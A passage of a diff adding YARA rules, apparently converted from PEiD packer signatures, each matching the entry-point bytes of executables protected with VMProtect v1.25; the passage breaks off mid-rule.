+rule PEiD_02631_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 53 57 51 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02632_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 9C 53 54 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02633_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 56 57 9C 51 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02634_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 9C 54 53 55 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02635_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 50 55 53 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02636_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 55 53 57 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02637_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 50 9C 51 57 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02638_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 51 57 53 9C 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02639_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 52 51 55 55 56 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02640_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 54 52 57 51 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02641_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 52 56 51 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 A7 72 45 00 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02642_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 57 52 55 51 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02643_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 51 56 57 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02644_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 52 9C 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02645_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 9C 51 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02646_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 52 57 51 9C 53 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02647_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 51 57 9C 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02648_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 56 52 57 56 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02649_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 52 53 51 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02650_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 53 57 51 52 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02651_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 56 57 57 51 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02652_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 51 51 9C 52 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02653_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 52 53 55 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02654_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 50 55 9C 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02655_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 51 55 57 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02656_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 52 53 51 55 9C 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02657_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 57 52 56 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02658_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 55 51 55 9C 56 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02659_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 52 53 57 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02660_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 51 55 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02661_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 55 51 56 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02662_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 56 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02663_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 56 53 52 55 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02664_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 57 52 57 56 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02665_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 54 55 56 52 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02666_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 52 51 56 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02667_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 54 56 52 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02668_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 56 53 53 55 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02669_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 52 9C 53 57 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02670_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 55 56 50 53 9C 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02671_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 57 9C 53 53 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02672_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02673_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 55 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02674_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 51 9C 56 53 55 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02675_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 50 53 56 55 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02676_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 53 55 9C 55 56 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02677_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 55 9C 56 53 52 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 5A 58 5F 5A 5B 5E 9D 5D 59 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02678_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 57 53 55 56 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02679_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 55 50 9C 55 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02680_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 56 52 51 50 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02681_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 52 56 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02682_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 57 9C 56 50 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02683_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 9C 53 56 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 EC 5A 5B 58 5F 5E 5A 9D 5A 5D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02684_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 53 57 50 52 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02685_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 57 50 9C 56 52 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02686_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 9C 52 50 57 56 53 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02687_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
